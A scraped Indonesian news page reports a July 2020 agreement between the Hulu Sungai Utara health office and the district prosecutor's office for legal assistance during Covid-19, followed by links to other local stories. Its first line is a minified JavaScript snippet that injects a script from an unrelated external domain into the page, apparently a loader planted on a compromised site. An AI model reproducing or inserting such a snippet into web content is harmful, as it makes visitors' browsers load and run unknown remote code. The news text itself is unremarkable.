(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kanal

Dinkes HSU MoU dengan Kejari HSU


KANALKALIMANTAN.COM, AMUNTAI – Guna mendapatkan fasilitas pelayanan hukum terkait penanganan Covid-19 dan lain sebagainya Dinas Kesehatan Kabupaten Hulu Sungai Utara (HSU) menjalin kerjasama dengan Kejaksaan Negeri Hulu Sungai Utara.

Nota kesepakatan atau Memorandum of Understanding (MoU) antara Dinkes dengan Kejari HSU dimaksudkan untuk penanganan masalah hukum bidang perdata dan tata usaha negara.

Kepala Bidang Pelayanan Sumber daya Kesehatan Dinkes HSU H Danu Fran Fotohena kepada Kanalkalimantan.com Kamis (2/7/2020) menuturkan, terjalinnya MoU diharapkan dapat lebih meningkatkan kinerja Dinas Kesehatan kepada masyarakat karena didampingi langsung oleh pihak yang kompoten dibidang hukum didalamnya.

“Kinerja kita di sini maksudnya adalah kita bekerja lebih tenang, lebih aman dan lebih focus karena kita ada tempat berkonsultasi terkait hukum perdata dan tata usaha negara, dan itu memang sangat diharapkan Dinas Kesehatan,” ujarnya.

Menurut Danu, ada beberapa hal yang dapat berpotensi menimbulkan masalah hukum kedepannya, sehingga inisiasi untuk menggandeng Kejari sebagai pendampingan hukum ini muncul.

Sebelumnya penandatanganan kerjasama antar Dinkes HSU dan Kejari HSU dilakukan langsung oleh Plt Kadinkes HSU dr H Agus Fidliansyah  dan  Kepala Kejaksaan Negeri HSU Novan Hadian SH MH di kantor Kejari HSU, Rabu (1/7/2020).

Kajari HSU Novan Hadian SH MH mengaku berterimakasih kepada Dinas Kesehatan Kabupaten HSU yang telah memberikan kepercayaan kepada institusi Kejaksaan sebagai Jaksa Pengacara Negera.

“Kita harapkan bersama dalam pelaksanaannya dapat dilakukan sebaik-baiknya demi kepentingan masyarakat, bangsa dan negara,” ujar Novan.

“Kami selaku Jaksa Pengacara Negara siap mendukung Dinas Kesehatan Kabupaten Hulu Sungai Utara dalam mengoptimalkan pelayanan kesehatan pada masa wabah Covid-19 saat ini,” tegasnya.

Plt Dinas Kesehatan Kabupaten HSU dr H Agus Fidliansyah mengatakan, tujuan kerjasama di bidang hukum perdata dan tata usaha negara ini adalah untuk mewujudkan kesepahaman kedua belah pihak dalam rangka penyelesaian masalah-masalah hukum perdata maupun tata usaha negara yang mungkin nanti akan timbul. (kanalkalimantan.com/dew)


Al Ghifari

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

9 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

9 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

10 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

10 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

10 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

14 jam ago

This website uses cookies.